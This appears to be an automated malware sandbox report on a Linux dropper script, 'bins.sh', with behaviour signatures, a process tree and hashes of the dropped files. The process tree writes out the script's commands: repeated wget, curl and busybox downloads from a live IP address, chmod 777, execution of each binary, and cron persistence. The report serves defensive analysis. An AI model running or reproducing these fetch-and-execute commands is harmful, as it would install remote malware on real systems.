Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/11/2024, 23:11

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-2586mszlem
  • SHA256 c3f5f100216f6fa621a94dafd837a25b33e54c6d582437f199573b0666233951
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1959) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://216.126.231.240/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          ./lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Executes dropped EXE
          PID:687
        • /bin/rm
          rm lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://216.126.231.240/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:691
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • File and Directory Permissions Modification
            PID:696
          • /tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            ./AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:698
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:700
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:701
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:702
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:704
                • /bin/rm
                  rm AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
                  2⤵
                    PID:707
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                    2⤵
                      PID:711
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                      2⤵
                        PID:797
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                        2⤵
                        • Writes file to tmp directory
                        PID:800
                      • /bin/chmod
                        chmod 777 KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                        2⤵
                        • File and Directory Permissions Modification
                        PID:803
                      • /tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                        ./KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                        2⤵
                        • Executes dropped EXE
                        PID:805
                      • /bin/rm
                        rm KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                        2⤵
                          PID:807
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                          2⤵
                            PID:808
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                            2⤵
                              PID:810
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                              2⤵
                              • Writes file to tmp directory
                              PID:812
                            • /bin/chmod
                              chmod 777 MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                              2⤵
                              • File and Directory Permissions Modification
                              PID:815
                            • /tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                              ./MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                              2⤵
                              • Executes dropped EXE
                              PID:817
                            • /bin/rm
                              rm MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                              2⤵
                                PID:819
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                2⤵
                                  PID:822
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                  2⤵
                                    PID:824
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:830
                                  • /bin/chmod
                                    chmod 777 DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:834
                                  • /tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                    ./DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                    2⤵
                                    • Executes dropped EXE
                                    PID:836
                                  • /bin/rm
                                    rm DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                    2⤵
                                      PID:839
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                      2⤵
                                        PID:841
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                        2⤵
                                          PID:850
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:857
                                        • /bin/chmod
                                          chmod 777 gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:859
                                        • /tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                          ./gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                          2⤵
                                          • Executes dropped EXE
                                          PID:861
                                        • /bin/rm
                                          rm gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                          2⤵
                                            PID:863
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
                                            2⤵
                                              PID:864
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
                                              2⤵
                                                PID:866

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  AbZDorGA28H0E3dHfaRN80ddRvv7THmnat

                                                  • Path /tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
                                                  • Size 177KB
                                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z

                                                  • Path /tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                                  • Size 122KB
                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN

                                                  • Path /tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                                                  • Size 151KB
                                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp

                                                  • Path /tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                                                  • Size 111KB
                                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7

                                                  • Path /tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                                  • Size 99KB
                                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO

                                                  • Path /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
                                                  • Size 98KB
                                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.QMJfi0

                                                  • Path /var/spool/cron/crontabs/tmp.QMJfi0
                                                  • Size 210B
                                                  • SHA256 0571da821e834416367b97c86f96109422005a0b94d3893fd58b030dd7638c7c
                                                  • MD5 SHA1 SHA512